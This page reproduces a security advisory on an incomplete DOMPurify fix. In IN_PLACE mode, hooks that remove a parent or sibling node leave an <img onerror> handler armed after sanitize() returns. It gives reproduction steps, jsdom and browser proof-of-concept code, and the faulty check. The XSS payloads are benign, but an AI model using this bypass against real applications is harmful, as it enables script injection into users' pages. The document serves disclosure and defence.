# DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

DOMPurify IN_PLACE hooks that remove a parent or unvisited sibling leave the detached subtree unneutralized, so an <img onerror> fires after sanitize() returns.

- Payout: Research
- Severity: high
- Program: DOMPurify
- Found by: uttej-badwane
- Disclosed: 2026-10-22
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mrv2-3pqr-j5jr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mrv2-3pqr-j5jr
- Tags: area:os domain:browser domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:incomplete-fix technique:source-review vuln:xss

**Target:** DOMPurify sanitizer library (src/purify.ts _handleHookDetachedNode)
**Root cause:** _handleHookDetachedNode only checks whether currentNode itself lost its parent; when a hook removes currentNode's parent or a not-yet-visited sibling, the detached subtree is never walked or neutralized and isn't in DOMPurify.removed.
**Steps:**
1. Build a live tree with `<div id=root><figure><img class=bad src=a.png><img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>`.
2. Register `DOMPurify.addHook('afterSanitizeAttributes', n => { if (n.getAttribute('class')==='bad') n.parentNode.remove() })`.
3. Call `DOMPurify.sanitize(root, { IN_PLACE: true })`.
4. Observe `evil.getAttribute('onerror')` still equals `"alert(1)"`; in Chromium the handler fires after sanitize returns.
5. Repeat with `n.nextElementSibling.remove()` for the sibling case; same result across all five element/attribute hooks.
**How found:** Noticed the 3.4.16 fix for GHSA-p98j-92pf-mc4p only handled the hook's own node; reasoned that removing an ancestor or unvisited sibling leaves currentNode with a parent so the check returns false, then tested self/parent/nextSibling modes in jsdom and Chromium.
**Exploitation:** Attacker supplies markup containing an already-loading `<img onerror>`; an app hook that drops a wrapper (e.g. disallowed `<figure>`) or a nearby element detaches that image without neutralization, and the handler executes in the page after sanitize() returns, yielding DOM XSS.
**Insight:** When auditing sanitizer hook-detach logic, test hooks that remove ancestors or not-yet-visited siblings, not just the current node: a 'still has a parent' check misses subtrees the walker can no longer reach.

## Proof of concept (copied exactly from the original report)

**jsdom PoC removing parent/sibling in hook**

```
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
```

**Browser PoC showing onerror fires after sanitize**

```
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
```

**Vulnerable _handleHookDetachedNode check**

```
if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}
```

